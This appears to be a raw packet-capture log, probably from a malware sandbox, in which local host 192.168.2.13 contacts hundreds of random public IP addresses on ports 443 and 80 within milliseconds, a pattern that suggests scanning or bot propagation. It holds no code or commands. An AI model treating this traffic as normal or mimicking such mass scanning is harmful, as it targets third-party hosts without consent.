Mar 21, 2024 05:16:56.481760979 CET	43602	443	192.168.2.13	178.138.168.58
Mar 21, 2024 05:16:56.481769085 CET	443	43602	5.32.140.93	192.168.2.13
Mar 21, 2024 05:16:56.481772900 CET	46418	80	192.168.2.13	73.152.217.187
Mar 21, 2024 05:16:56.481775999 CET	443	43602	109.13.186.90	192.168.2.13
Mar 21, 2024 05:16:56.481781960 CET	43602	443	192.168.2.13	79.26.249.230
Mar 21, 2024 05:16:56.481785059 CET	443	43602	118.194.16.103	192.168.2.13
Mar 21, 2024 05:16:56.481785059 CET	443	43602	178.138.168.58	192.168.2.13
Mar 21, 2024 05:16:56.481786013 CET	43602	443	192.168.2.13	178.76.173.67
Mar 21, 2024 05:16:56.481786013 CET	46418	80	192.168.2.13	158.188.172.27
Mar 21, 2024 05:16:56.481789112 CET	46418	80	192.168.2.13	130.153.73.179
Mar 21, 2024 05:16:56.481789112 CET	43602	443	192.168.2.13	42.171.0.20
Mar 21, 2024 05:16:56.481791973 CET	43602	443	192.168.2.13	94.82.190.187
Mar 21, 2024 05:16:56.481791973 CET	46418	80	192.168.2.13	131.245.31.52
Mar 21, 2024 05:16:56.481791973 CET	43602	443	192.168.2.13	212.167.95.245
Mar 21, 2024 05:16:56.481794119 CET	43602	443	192.168.2.13	212.126.101.0
Mar 21, 2024 05:16:56.481794119 CET	43602	443	192.168.2.13	2.203.43.38
Mar 21, 2024 05:16:56.481794119 CET	46418	80	192.168.2.13	134.223.227.121
Mar 21, 2024 05:16:56.481796980 CET	443	43602	178.76.173.67	192.168.2.13
Mar 21, 2024 05:16:56.481801033 CET	443	43602	42.171.0.20	192.168.2.13
Mar 21, 2024 05:16:56.481803894 CET	443	43602	212.126.101.0	192.168.2.13
Mar 21, 2024 05:16:56.481806040 CET	443	43602	212.167.95.245	192.168.2.13
Mar 21, 2024 05:16:56.481806993 CET	443	43602	2.203.43.38	192.168.2.13
Mar 21, 2024 05:16:56.481820107 CET	43602	443	192.168.2.13	42.208.202.90
Mar 21, 2024 05:16:56.481821060 CET	43602	443	192.168.2.13	79.3.10.22
Mar 21, 2024 05:16:56.481821060 CET	43602	443	192.168.2.13	42.40.207.240
Mar 21, 2024 05:16:56.481825113 CET	43602	443	192.168.2.13	5.32.140.93
Mar 21, 2024 05:16:56.481825113 CET	43602	443	192.168.2.13	109.13.186.90
Mar 21, 2024 05:16:56.481826067 CET	43602	443	192.168.2.13	118.132.206.181
Mar 21, 2024 05:16:56.481827974 CET	443	43602	42.208.202.90	192.168.2.13
Mar 21, 2024 05:16:56.481832981 CET	443	43602	79.3.10.22	192.168.2.13
Mar 21, 2024 05:16:56.481837034 CET	443	43602	42.40.207.240	192.168.2.13
Mar 21, 2024 05:16:56.481837988 CET	443	43602	118.132.206.181	192.168.2.13
Mar 21, 2024 05:16:56.481837988 CET	46418	80	192.168.2.13	26.29.90.133
Mar 21, 2024 05:16:56.481841087 CET	43602	443	192.168.2.13	118.194.16.103
Mar 21, 2024 05:16:56.481842041 CET	43602	443	192.168.2.13	42.171.0.20
Mar 21, 2024 05:16:56.481843948 CET	43602	443	192.168.2.13	212.167.95.245
Mar 21, 2024 05:16:56.481853008 CET	43602	443	192.168.2.13	212.126.101.0
Mar 21, 2024 05:16:56.481853962 CET	46418	80	192.168.2.13	163.106.82.37
Mar 21, 2024 05:16:56.481853962 CET	43602	443	192.168.2.13	178.76.173.67
Mar 21, 2024 05:16:56.481853962 CET	43602	443	192.168.2.13	178.138.168.58
Mar 21, 2024 05:16:56.481858969 CET	43602	443	192.168.2.13	2.203.43.38
Mar 21, 2024 05:16:56.481872082 CET	43602	443	192.168.2.13	118.132.206.181
Mar 21, 2024 05:16:56.481873989 CET	43602	443	192.168.2.13	42.208.202.90
Mar 21, 2024 05:16:56.481888056 CET	43602	443	192.168.2.13	2.157.198.7
Mar 21, 2024 05:16:56.481890917 CET	43602	443	192.168.2.13	42.40.207.240
Mar 21, 2024 05:16:56.481890917 CET	43602	443	192.168.2.13	79.3.10.22
Mar 21, 2024 05:16:56.481890917 CET	43602	443	192.168.2.13	79.100.82.49
Mar 21, 2024 05:16:56.481894016 CET	443	43602	2.157.198.7	192.168.2.13
Mar 21, 2024 05:16:56.481904030 CET	43602	443	192.168.2.13	94.69.149.188
Mar 21, 2024 05:16:56.481904030 CET	43602	443	192.168.2.13	94.87.46.54
Mar 21, 2024 05:16:56.481904984 CET	443	43602	79.100.82.49	192.168.2.13
Mar 21, 2024 05:16:56.481914043 CET	443	43602	94.69.149.188	192.168.2.13
Mar 21, 2024 05:16:56.481921911 CET	443	43602	94.87.46.54	192.168.2.13
Mar 21, 2024 05:16:56.481935024 CET	43602	443	192.168.2.13	2.157.198.7
Mar 21, 2024 05:16:56.481941938 CET	43602	443	192.168.2.13	94.69.149.188
Mar 21, 2024 05:16:56.481944084 CET	43602	443	192.168.2.13	212.149.254.255
Mar 21, 2024 05:16:56.481944084 CET	43602	443	192.168.2.13	79.100.82.49
Mar 21, 2024 05:16:56.481956005 CET	43602	443	192.168.2.13	109.145.162.162
Mar 21, 2024 05:16:56.481957912 CET	443	43602	212.149.254.255	192.168.2.13
Mar 21, 2024 05:16:56.481961966 CET	443	43602	109.145.162.162	192.168.2.13
Mar 21, 2024 05:16:56.481972933 CET	43602	443	192.168.2.13	109.3.236.170
Mar 21, 2024 05:16:56.481978893 CET	443	43602	109.3.236.170	192.168.2.13
Mar 21, 2024 05:16:56.481978893 CET	43602	443	192.168.2.13	178.24.128.86
Mar 21, 2024 05:16:56.481978893 CET	43602	443	192.168.2.13	37.126.161.86
Mar 21, 2024 05:16:56.481985092 CET	43602	443	192.168.2.13	94.162.43.205
Mar 21, 2024 05:16:56.481985092 CET	443	43602	178.24.128.86	192.168.2.13
Mar 21, 2024 05:16:56.481987000 CET	43602	443	192.168.2.13	109.56.207.42
Mar 21, 2024 05:16:56.481992960 CET	443	43602	37.126.161.86	192.168.2.13
Mar 21, 2024 05:16:56.481992960 CET	43602	443	192.168.2.13	94.87.46.54
Mar 21, 2024 05:16:56.481992960 CET	443	43602	94.162.43.205	192.168.2.13
Mar 21, 2024 05:16:56.481992960 CET	43602	443	192.168.2.13	109.145.162.162
Mar 21, 2024 05:16:56.481997013 CET	443	43602	109.56.207.42	192.168.2.13
Mar 21, 2024 05:16:56.482009888 CET	43602	443	192.168.2.13	109.3.236.170
Mar 21, 2024 05:16:56.482013941 CET	43602	443	192.168.2.13	178.24.128.86
Mar 21, 2024 05:16:56.482013941 CET	43602	443	192.168.2.13	212.105.212.53
Mar 21, 2024 05:16:56.482019901 CET	43602	443	192.168.2.13	212.149.254.255
Mar 21, 2024 05:16:56.482022047 CET	43602	443	192.168.2.13	94.162.43.205
Mar 21, 2024 05:16:56.482023001 CET	43602	443	192.168.2.13	118.24.15.17
Mar 21, 2024 05:16:56.482023954 CET	43602	443	192.168.2.13	109.56.207.42
Mar 21, 2024 05:16:56.482023001 CET	43602	443	192.168.2.13	37.126.161.86
Mar 21, 2024 05:16:56.482023954 CET	443	43602	212.105.212.53	192.168.2.13
Mar 21, 2024 05:16:56.482031107 CET	43602	443	192.168.2.13	210.124.33.204
Mar 21, 2024 05:16:56.482036114 CET	443	43602	118.24.15.17	192.168.2.13
Mar 21, 2024 05:16:56.482037067 CET	443	43602	210.124.33.204	192.168.2.13
Mar 21, 2024 05:16:56.482048988 CET	46418	80	192.168.2.13	93.166.223.75
Mar 21, 2024 05:16:56.482048988 CET	43602	443	192.168.2.13	94.181.208.67
Mar 21, 2024 05:16:56.482055902 CET	43602	443	192.168.2.13	212.105.212.53
Mar 21, 2024 05:16:56.482060909 CET	443	43602	94.181.208.67	192.168.2.13
Mar 21, 2024 05:16:56.482064962 CET	43602	443	192.168.2.13	2.128.180.2
Mar 21, 2024 05:16:56.482069969 CET	43602	443	192.168.2.13	210.124.33.204
Mar 21, 2024 05:16:56.482070923 CET	443	43602	2.128.180.2	192.168.2.13
Mar 21, 2024 05:16:56.482084036 CET	43602	443	192.168.2.13	94.181.208.67
Mar 21, 2024 05:16:56.482095957 CET	46418	80	192.168.2.13	117.111.19.66
Mar 21, 2024 05:16:56.482099056 CET	43602	443	192.168.2.13	2.128.180.2
Mar 21, 2024 05:16:56.482100010 CET	43602	443	192.168.2.13	118.24.15.17
Mar 21, 2024 05:16:56.482116938 CET	46418	80	192.168.2.13	243.22.204.127
Mar 21, 2024 05:16:56.482119083 CET	43602	443	192.168.2.13	79.155.65.211
Mar 21, 2024 05:16:56.482125998 CET	443	43602	79.155.65.211	192.168.2.13
Mar 21, 2024 05:16:56.482141018 CET	43602	443	192.168.2.13	5.255.180.10
Mar 21, 2024 05:16:56.482144117 CET	46418	80	192.168.2.13	166.165.143.22
Mar 21, 2024 05:16:56.482144117 CET	46418	80	192.168.2.13	21.59.172.17
Mar 21, 2024 05:16:56.482145071 CET	43602	443	192.168.2.13	178.229.140.209
Mar 21, 2024 05:16:56.482145071 CET	46418	80	192.168.2.13	19.51.29.46
Mar 21, 2024 05:16:56.482145071 CET	46418	80	192.168.2.13	22.13.77.122
Mar 21, 2024 05:16:56.482146978 CET	443	43602	5.255.180.10	192.168.2.13
Mar 21, 2024 05:16:56.482157946 CET	43602	443	192.168.2.13	118.83.219.62
Mar 21, 2024 05:16:56.482158899 CET	43602	443	192.168.2.13	109.183.219.31
Mar 21, 2024 05:16:56.482158899 CET	443	43602	178.229.140.209	192.168.2.13
Mar 21, 2024 05:16:56.482158899 CET	43602	443	192.168.2.13	79.155.65.211
Mar 21, 2024 05:16:56.482158899 CET	46418	80	192.168.2.13	41.21.190.65
Mar 21, 2024 05:16:56.482162952 CET	43602	443	192.168.2.13	2.3.45.26
Mar 21, 2024 05:16:56.482162952 CET	43602	443	192.168.2.13	212.16.196.74
Mar 21, 2024 05:16:56.482162952 CET	46418	80	192.168.2.13	223.131.230.239
Mar 21, 2024 05:16:56.482162952 CET	43602	443	192.168.2.13	79.173.104.242
Mar 21, 2024 05:16:56.482162952 CET	43602	443	192.168.2.13	5.208.109.229
Mar 21, 2024 05:16:56.482167006 CET	443	43602	118.83.219.62	192.168.2.13
Mar 21, 2024 05:16:56.482172012 CET	443	43602	109.183.219.31	192.168.2.13
Mar 21, 2024 05:16:56.482175112 CET	443	43602	2.3.45.26	192.168.2.13
Mar 21, 2024 05:16:56.482176065 CET	46418	80	192.168.2.13	89.68.87.27
Mar 21, 2024 05:16:56.482180119 CET	443	43602	212.16.196.74	192.168.2.13
Mar 21, 2024 05:16:56.482183933 CET	46418	80	192.168.2.13	70.56.129.57
Mar 21, 2024 05:16:56.482183933 CET	46418	80	192.168.2.13	131.244.169.152
Mar 21, 2024 05:16:56.482184887 CET	43602	443	192.168.2.13	5.255.180.10
Mar 21, 2024 05:16:56.482192993 CET	443	43602	79.173.104.242	192.168.2.13
Mar 21, 2024 05:16:56.482196093 CET	443	43602	5.208.109.229	192.168.2.13
Mar 21, 2024 05:16:56.482203007 CET	43602	443	192.168.2.13	42.114.21.18
Mar 21, 2024 05:16:56.482208967 CET	443	43602	42.114.21.18	192.168.2.13
Mar 21, 2024 05:16:56.482208967 CET	46418	80	192.168.2.13	63.205.144.95
Mar 21, 2024 05:16:56.482208967 CET	43602	443	192.168.2.13	2.3.45.26
Mar 21, 2024 05:16:56.482208967 CET	43602	443	192.168.2.13	212.16.196.74
Mar 21, 2024 05:16:56.482212067 CET	43602	443	192.168.2.13	178.229.140.209
Mar 21, 2024 05:16:56.482213974 CET	43602	443	192.168.2.13	118.83.219.62
Mar 21, 2024 05:16:56.482232094 CET	43602	443	192.168.2.13	109.183.219.31
Mar 21, 2024 05:16:56.482232094 CET	46418	80	192.168.2.13	34.181.187.245
Mar 21, 2024 05:16:56.482233047 CET	43602	443	192.168.2.13	79.203.12.37
Mar 21, 2024 05:16:56.482234001 CET	43602	443	192.168.2.13	42.245.121.9
Mar 21, 2024 05:16:56.482239962 CET	443	43602	42.245.121.9	192.168.2.13
Mar 21, 2024 05:16:56.482242107 CET	443	43602	79.203.12.37	192.168.2.13
Mar 21, 2024 05:16:56.482247114 CET	43602	443	192.168.2.13	212.79.207.29
Mar 21, 2024 05:16:56.482254028 CET	443	43602	212.79.207.29	192.168.2.13
Mar 21, 2024 05:16:56.482259989 CET	43602	443	192.168.2.13	79.173.104.242
Mar 21, 2024 05:16:56.482259989 CET	43602	443	192.168.2.13	5.208.109.229
Mar 21, 2024 05:16:56.482259989 CET	43602	443	192.168.2.13	94.115.104.73
Mar 21, 2024 05:16:56.482265949 CET	43602	443	192.168.2.13	212.41.165.150
Mar 21, 2024 05:16:56.482265949 CET	43602	443	192.168.2.13	42.114.21.18
Mar 21, 2024 05:16:56.482266903 CET	43602	443	192.168.2.13	42.143.16.68
Mar 21, 2024 05:16:56.482265949 CET	46418	80	192.168.2.13	201.68.89.243
Mar 21, 2024 05:16:56.482266903 CET	46418	80	192.168.2.13	31.138.191.209
Mar 21, 2024 05:16:56.482268095 CET	43602	443	192.168.2.13	212.26.140.238
Mar 21, 2024 05:16:56.482265949 CET	46418	80	192.168.2.13	116.216.31.44
Mar 21, 2024 05:16:56.482270956 CET	43602	443	192.168.2.13	42.245.121.9
Mar 21, 2024 05:16:56.482265949 CET	46418	80	192.168.2.13	14.79.170.243
Mar 21, 2024 05:16:56.482270002 CET	443	43602	94.115.104.73	192.168.2.13
Mar 21, 2024 05:16:56.482270956 CET	46418	80	192.168.2.13	105.93.120.219
Mar 21, 2024 05:16:56.482275963 CET	443	43602	42.143.16.68	192.168.2.13
Mar 21, 2024 05:16:56.482275963 CET	443	43602	212.26.140.238	192.168.2.13
Mar 21, 2024 05:16:56.482284069 CET	443	43602	212.41.165.150	192.168.2.13
Mar 21, 2024 05:16:56.482290030 CET	43602	443	192.168.2.13	79.203.12.37
Mar 21, 2024 05:16:56.482290030 CET	43602	443	192.168.2.13	212.79.207.29
Mar 21, 2024 05:16:56.482294083 CET	46418	80	192.168.2.13	198.19.172.66
Mar 21, 2024 05:16:56.482311964 CET	46418	80	192.168.2.13	144.150.44.229
Mar 21, 2024 05:16:56.482312918 CET	43602	443	192.168.2.13	42.143.16.68
Mar 21, 2024 05:16:56.482311964 CET	43602	443	192.168.2.13	94.115.104.73
Mar 21, 2024 05:16:56.482314110 CET	46418	80	192.168.2.13	170.225.116.123
Mar 21, 2024 05:16:56.482314110 CET	46418	80	192.168.2.13	8.67.219.54
Mar 21, 2024 05:16:56.482314110 CET	43602	443	192.168.2.13	212.41.165.150
Mar 21, 2024 05:16:56.482326031 CET	43602	443	192.168.2.13	2.156.233.90
Mar 21, 2024 05:16:56.482328892 CET	43602	443	192.168.2.13	212.26.140.238
Mar 21, 2024 05:16:56.482331038 CET	443	43602	2.156.233.90	192.168.2.13
Mar 21, 2024 05:16:56.482336044 CET	43602	443	192.168.2.13	5.195.184.148
Mar 21, 2024 05:16:56.482336044 CET	43602	443	192.168.2.13	212.110.151.78
Mar 21, 2024 05:16:56.482345104 CET	443	43602	5.195.184.148	192.168.2.13
Mar 21, 2024 05:16:56.482351065 CET	43602	443	192.168.2.13	109.31.208.231
Mar 21, 2024 05:16:56.482353926 CET	443	43602	212.110.151.78	192.168.2.13
Mar 21, 2024 05:16:56.482358932 CET	43602	443	192.168.2.13	118.29.209.17
Mar 21, 2024 05:16:56.482358932 CET	443	43602	109.31.208.231	192.168.2.13
Mar 21, 2024 05:16:56.482358932 CET	46418	80	192.168.2.13	37.15.1.123
Mar 21, 2024 05:16:56.482362986 CET	43602	443	192.168.2.13	2.17.137.220
Mar 21, 2024 05:16:56.482367992 CET	443	43602	118.29.209.17	192.168.2.13
Mar 21, 2024 05:16:56.482369900 CET	443	43602	2.17.137.220	192.168.2.13
Mar 21, 2024 05:16:56.482369900 CET	43602	443	192.168.2.13	2.156.233.90
Mar 21, 2024 05:16:56.482383013 CET	43602	443	192.168.2.13	5.195.184.148
Mar 21, 2024 05:16:56.482383013 CET	43602	443	192.168.2.13	212.110.151.78
Mar 21, 2024 05:16:56.482387066 CET	43602	443	192.168.2.13	109.31.208.231
Mar 21, 2024 05:16:56.482393980 CET	43602	443	192.168.2.13	2.17.137.220
Mar 21, 2024 05:16:56.482399940 CET	43602	443	192.168.2.13	118.29.209.17
Mar 21, 2024 05:16:56.482420921 CET	43602	443	192.168.2.13	118.145.85.186
Mar 21, 2024 05:16:56.482423067 CET	43602	443	192.168.2.13	79.243.199.131
Mar 21, 2024 05:16:56.482425928 CET	443	43602	118.145.85.186	192.168.2.13
Mar 21, 2024 05:16:56.482425928 CET	43602	443	192.168.2.13	37.100.188.6
Mar 21, 2024 05:16:56.482428074 CET	443	43602	79.243.199.131	192.168.2.13
Mar 21, 2024 05:16:56.482430935 CET	43602	443	192.168.2.13	2.161.66.39
Mar 21, 2024 05:16:56.482433081 CET	443	43602	37.100.188.6	192.168.2.13
Mar 21, 2024 05:16:56.482441902 CET	443	43602	2.161.66.39	192.168.2.13
Mar 21, 2024 05:16:56.482444048 CET	43602	443	192.168.2.13	5.40.15.213
Mar 21, 2024 05:16:56.482448101 CET	43602	443	192.168.2.13	37.144.113.70
Mar 21, 2024 05:16:56.482450008 CET	43602	443	192.168.2.13	109.247.60.225
Mar 21, 2024 05:16:56.482450962 CET	443	43602	5.40.15.213	192.168.2.13
Mar 21, 2024 05:16:56.482458115 CET	443	43602	37.144.113.70	192.168.2.13
Mar 21, 2024 05:16:56.482459068 CET	443	43602	109.247.60.225	192.168.2.13
Mar 21, 2024 05:16:56.482462883 CET	43602	443	192.168.2.13	118.145.85.186
Mar 21, 2024 05:16:56.482462883 CET	43602	443	192.168.2.13	210.115.42.150
Mar 21, 2024 05:16:56.482467890 CET	43602	443	192.168.2.13	178.136.139.45
Mar 21, 2024 05:16:56.482470036 CET	443	43602	210.115.42.150	192.168.2.13
Mar 21, 2024 05:16:56.482471943 CET	43602	443	192.168.2.13	42.81.134.31
Mar 21, 2024 05:16:56.482475996 CET	43602	443	192.168.2.13	37.100.188.6
Mar 21, 2024 05:16:56.482477903 CET	443	43602	178.136.139.45	192.168.2.13
Mar 21, 2024 05:16:56.482484102 CET	443	43602	42.81.134.31	192.168.2.13
Mar 21, 2024 05:16:56.482485056 CET	43602	443	192.168.2.13	109.247.60.225
Mar 21, 2024 05:16:56.482485056 CET	43602	443	192.168.2.13	5.40.15.213
Mar 21, 2024 05:16:56.482486010 CET	43602	443	192.168.2.13	2.161.66.39
Mar 21, 2024 05:16:56.482486010 CET	43602	443	192.168.2.13	79.243.199.131
Mar 21, 2024 05:16:56.482503891 CET	43602	443	192.168.2.13	37.144.113.70
Mar 21, 2024 05:16:56.482516050 CET	43602	443	192.168.2.13	210.115.42.150
Mar 21, 2024 05:16:56.482516050 CET	43602	443	192.168.2.13	178.136.139.45
Mar 21, 2024 05:16:56.482530117 CET	43602	443	192.168.2.13	109.168.187.147
Mar 21, 2024 05:16:56.482537031 CET	43602	443	192.168.2.13	118.92.25.6
Mar 21, 2024 05:16:56.482537031 CET	43602	443	192.168.2.13	42.65.73.28
Mar 21, 2024 05:16:56.482538939 CET	443	43602	109.168.187.147	192.168.2.13
Mar 21, 2024 05:16:56.482544899 CET	443	43602	118.92.25.6	192.168.2.13
Mar 21, 2024 05:16:56.482549906 CET	443	43602	42.65.73.28	192.168.2.13
Mar 21, 2024 05:16:56.482553959 CET	43602	443	192.168.2.13	42.81.134.31
Mar 21, 2024 05:16:56.482561111 CET	43602	443	192.168.2.13	2.179.96.234
Mar 21, 2024 05:16:56.482566118 CET	443	43602	2.179.96.234	192.168.2.13
Mar 21, 2024 05:16:56.482573986 CET	43602	443	192.168.2.13	109.168.187.147
Mar 21, 2024 05:16:56.482588053 CET	43602	443	192.168.2.13	118.92.25.6
Mar 21, 2024 05:16:56.482588053 CET	43602	443	192.168.2.13	42.65.73.28
Mar 21, 2024 05:16:56.482604980 CET	43602	443	192.168.2.13	94.89.102.175
Mar 21, 2024 05:16:56.482606888 CET	43602	443	192.168.2.13	118.231.13.65
Mar 21, 2024 05:16:56.482606888 CET	43602	443	192.168.2.13	5.122.83.181
Mar 21, 2024 05:16:56.482609987 CET	43602	443	192.168.2.13	2.179.96.234
Mar 21, 2024 05:16:56.482609987 CET	443	43602	94.89.102.175	192.168.2.13
Mar 21, 2024 05:16:56.482611895 CET	43602	443	192.168.2.13	210.34.120.47
Mar 21, 2024 05:16:56.482611895 CET	43602	443	192.168.2.13	5.253.0.193
Mar 21, 2024 05:16:56.482615948 CET	443	43602	118.231.13.65	192.168.2.13
Mar 21, 2024 05:16:56.482616901 CET	43602	443	192.168.2.13	210.211.151.192
Mar 21, 2024 05:16:56.482620955 CET	443	43602	210.34.120.47	192.168.2.13
Mar 21, 2024 05:16:56.482623100 CET	443	43602	5.253.0.193	192.168.2.13
Mar 21, 2024 05:16:56.482625008 CET	43602	443	192.168.2.13	109.245.157.22
Mar 21, 2024 05:16:56.482629061 CET	43602	443	192.168.2.13	37.15.44.129
Mar 21, 2024 05:16:56.482629061 CET	443	43602	210.211.151.192	192.168.2.13
Mar 21, 2024 05:16:56.482630014 CET	443	43602	5.122.83.181	192.168.2.13
Mar 21, 2024 05:16:56.482629061 CET	43602	443	192.168.2.13	118.152.236.143
Mar 21, 2024 05:16:56.482635021 CET	443	43602	109.245.157.22	192.168.2.13
Mar 21, 2024 05:16:56.482635975 CET	43602	443	192.168.2.13	79.195.180.77
Mar 21, 2024 05:16:56.482640028 CET	443	43602	37.15.44.129	192.168.2.13
Mar 21, 2024 05:16:56.482640982 CET	443	43602	118.152.236.143	192.168.2.13
Mar 21, 2024 05:16:56.482641935 CET	443	43602	79.195.180.77	192.168.2.13
Mar 21, 2024 05:16:56.482646942 CET	43602	443	192.168.2.13	118.231.13.65
Mar 21, 2024 05:16:56.482666016 CET	43602	443	192.168.2.13	94.89.102.175
Mar 21, 2024 05:16:56.482666016 CET	43602	443	192.168.2.13	109.245.157.22
Mar 21, 2024 05:16:56.482673883 CET	43602	443	192.168.2.13	210.211.151.192
Mar 21, 2024 05:16:56.482673883 CET	43602	443	192.168.2.13	37.15.44.129
Mar 21, 2024 05:16:56.482675076 CET	43602	443	192.168.2.13	79.195.180.77
Mar 21, 2024 05:16:56.482683897 CET	43602	443	192.168.2.13	5.253.0.193
Mar 21, 2024 05:16:56.482683897 CET	43602	443	192.168.2.13	210.34.120.47
Mar 21, 2024 05:16:56.482685089 CET	43602	443	192.168.2.13	118.152.236.143
Mar 21, 2024 05:16:56.482701063 CET	43602	443	192.168.2.13	94.62.150.218
Mar 21, 2024 05:16:56.482701063 CET	43602	443	192.168.2.13	212.204.92.128
Mar 21, 2024 05:16:56.482708931 CET	443	43602	94.62.150.218	192.168.2.13
Mar 21, 2024 05:16:56.482711077 CET	43602	443	192.168.2.13	5.122.83.181
Mar 21, 2024 05:16:56.482712030 CET	43602	443	192.168.2.13	42.178.216.79
Mar 21, 2024 05:16:56.482712030 CET	43602	443	192.168.2.13	212.35.51.172
Mar 21, 2024 05:16:56.482713938 CET	43602	443	192.168.2.13	37.137.154.130
Mar 21, 2024 05:16:56.482718945 CET	443	43602	212.204.92.128	192.168.2.13
Mar 21, 2024 05:16:56.482723951 CET	443	43602	42.178.216.79	192.168.2.13
Mar 21, 2024 05:16:56.482726097 CET	443	43602	212.35.51.172	192.168.2.13
Mar 21, 2024 05:16:56.482728958 CET	443	43602	37.137.154.130	192.168.2.13
Mar 21, 2024 05:16:56.482742071 CET	43602	443	192.168.2.13	118.77.58.27
Mar 21, 2024 05:16:56.482744932 CET	43602	443	192.168.2.13	118.224.150.145
Mar 21, 2024 05:16:56.482744932 CET	43602	443	192.168.2.13	94.62.150.218
Mar 21, 2024 05:16:56.482744932 CET	43602	443	192.168.2.13	212.204.92.128
Mar 21, 2024 05:16:56.482748985 CET	443	43602	118.77.58.27	192.168.2.13
Mar 21, 2024 05:16:56.482753992 CET	443	43602	118.224.150.145	192.168.2.13
Mar 21, 2024 05:16:56.482760906 CET	43602	443	192.168.2.13	118.58.137.49
Mar 21, 2024 05:16:56.482762098 CET	43602	443	192.168.2.13	212.35.51.172
Mar 21, 2024 05:16:56.482762098 CET	43602	443	192.168.2.13	109.45.41.21
Mar 21, 2024 05:16:56.482762098 CET	43602	443	192.168.2.13	42.178.216.79
Mar 21, 2024 05:16:56.482764959 CET	43602	443	192.168.2.13	37.137.154.130
Mar 21, 2024 05:16:56.482765913 CET	443	43602	118.58.137.49	192.168.2.13
Mar 21, 2024 05:16:56.482770920 CET	443	43602	109.45.41.21	192.168.2.13
Mar 21, 2024 05:16:56.482774019 CET	43602	443	192.168.2.13	210.124.183.217
Mar 21, 2024 05:16:56.482784033 CET	43602	443	192.168.2.13	118.77.58.27
Mar 21, 2024 05:16:56.482789993 CET	443	43602	210.124.183.217	192.168.2.13
Mar 21, 2024 05:16:56.482795000 CET	43602	443	192.168.2.13	42.153.14.94
Mar 21, 2024 05:16:56.482795000 CET	43602	443	192.168.2.13	5.37.22.44
Mar 21, 2024 05:16:56.482801914 CET	443	43602	42.153.14.94	192.168.2.13
Mar 21, 2024 05:16:56.482801914 CET	43602	443	192.168.2.13	118.58.137.49
Mar 21, 2024 05:16:56.482805967 CET	43602	443	192.168.2.13	109.45.41.21
Mar 21, 2024 05:16:56.482805967 CET	43602	443	192.168.2.13	212.70.223.129
Mar 21, 2024 05:16:56.482811928 CET	443	43602	5.37.22.44	192.168.2.13
Mar 21, 2024 05:16:56.482812881 CET	443	43602	212.70.223.129	192.168.2.13
Mar 21, 2024 05:16:56.482817888 CET	43602	443	192.168.2.13	212.113.220.171
Mar 21, 2024 05:16:56.482820034 CET	43602	443	192.168.2.13	210.124.183.217
Mar 21, 2024 05:16:56.482821941 CET	43602	443	192.168.2.13	118.224.150.145
Mar 21, 2024 05:16:56.482834101 CET	443	43602	212.113.220.171	192.168.2.13
Mar 21, 2024 05:16:56.482842922 CET	43602	443	192.168.2.13	42.153.14.94
Mar 21, 2024 05:16:56.482842922 CET	43602	443	192.168.2.13	5.37.22.44
Mar 21, 2024 05:16:56.482845068 CET	43602	443	192.168.2.13	94.149.229.7
Mar 21, 2024 05:16:56.482848883 CET	43602	443	192.168.2.13	212.70.223.129
Mar 21, 2024 05:16:56.482851028 CET	43602	443	192.168.2.13	118.164.214.113
Mar 21, 2024 05:16:56.482851028 CET	43602	443	192.168.2.13	178.55.243.242
Mar 21, 2024 05:16:56.482852936 CET	443	43602	94.149.229.7	192.168.2.13
Mar 21, 2024 05:16:56.482858896 CET	443	43602	118.164.214.113	192.168.2.13
Mar 21, 2024 05:16:56.482862949 CET	443	43602	178.55.243.242	192.168.2.13
Mar 21, 2024 05:16:56.482866049 CET	43602	443	192.168.2.13	37.19.185.7
Mar 21, 2024 05:16:56.482867002 CET	43602	443	192.168.2.13	178.156.159.27
Mar 21, 2024 05:16:56.482872009 CET	443	43602	37.19.185.7	192.168.2.13
Mar 21, 2024 05:16:56.482872009 CET	443	43602	178.156.159.27	192.168.2.13
Mar 21, 2024 05:16:56.482872963 CET	43602	443	192.168.2.13	118.15.173.75
Mar 21, 2024 05:16:56.482877970 CET	43602	443	192.168.2.13	212.113.220.171
Mar 21, 2024 05:16:56.482877970 CET	43602	443	192.168.2.13	94.149.229.7
Mar 21, 2024 05:16:56.482883930 CET	43602	443	192.168.2.13	42.254.116.0
Mar 21, 2024 05:16:56.482887983 CET	43602	443	192.168.2.13	37.208.112.131
Mar 21, 2024 05:16:56.482889891 CET	443	43602	118.15.173.75	192.168.2.13
Mar 21, 2024 05:16:56.482892990 CET	443	43602	42.254.116.0	192.168.2.13
Mar 21, 2024 05:16:56.482893944 CET	443	43602	37.208.112.131	192.168.2.13
Mar 21, 2024 05:16:56.482903004 CET	43602	443	192.168.2.13	178.156.159.27
Mar 21, 2024 05:16:56.482904911 CET	43602	443	192.168.2.13	118.164.214.113
Mar 21, 2024 05:16:56.482904911 CET	43602	443	192.168.2.13	178.55.243.242
Mar 21, 2024 05:16:56.482906103 CET	43602	443	192.168.2.13	37.19.185.7
Mar 21, 2024 05:16:56.482904911 CET	43602	443	192.168.2.13	212.93.51.170
Mar 21, 2024 05:16:56.482906103 CET	43602	443	192.168.2.13	212.128.229.143
Mar 21, 2024 05:16:56.482904911 CET	43602	443	192.168.2.13	210.243.32.51
Mar 21, 2024 05:16:56.482909918 CET	43602	443	192.168.2.13	2.57.70.88
Mar 21, 2024 05:16:56.482909918 CET	43602	443	192.168.2.13	109.248.205.1
Mar 21, 2024 05:16:56.482916117 CET	443	43602	212.128.229.143	192.168.2.13
Mar 21, 2024 05:16:56.482917070 CET	443	43602	2.57.70.88	192.168.2.13
Mar 21, 2024 05:16:56.482918024 CET	43602	443	192.168.2.13	109.38.6.6
Mar 21, 2024 05:16:56.482919931 CET	443	43602	212.93.51.170	192.168.2.13
Mar 21, 2024 05:16:56.482922077 CET	43602	443	192.168.2.13	94.57.76.58
Mar 21, 2024 05:16:56.482923031 CET	443	43602	109.38.6.6	192.168.2.13
Mar 21, 2024 05:16:56.482924938 CET	43602	443	192.168.2.13	5.55.204.170
Mar 21, 2024 05:16:56.482928038 CET	443	43602	109.248.205.1	192.168.2.13
Mar 21, 2024 05:16:56.482928991 CET	443	43602	94.57.76.58	192.168.2.13
Mar 21, 2024 05:16:56.482928991 CET	43602	443	192.168.2.13	37.208.112.131
Mar 21, 2024 05:16:56.482930899 CET	443	43602	210.243.32.51	192.168.2.13
Mar 21, 2024 05:16:56.482933044 CET	443	43602	5.55.204.170	192.168.2.13
Mar 21, 2024 05:16:56.482933998 CET	43602	443	192.168.2.13	42.254.116.0
Mar 21, 2024 05:16:56.482939959 CET	43602	443	192.168.2.13	118.15.173.75
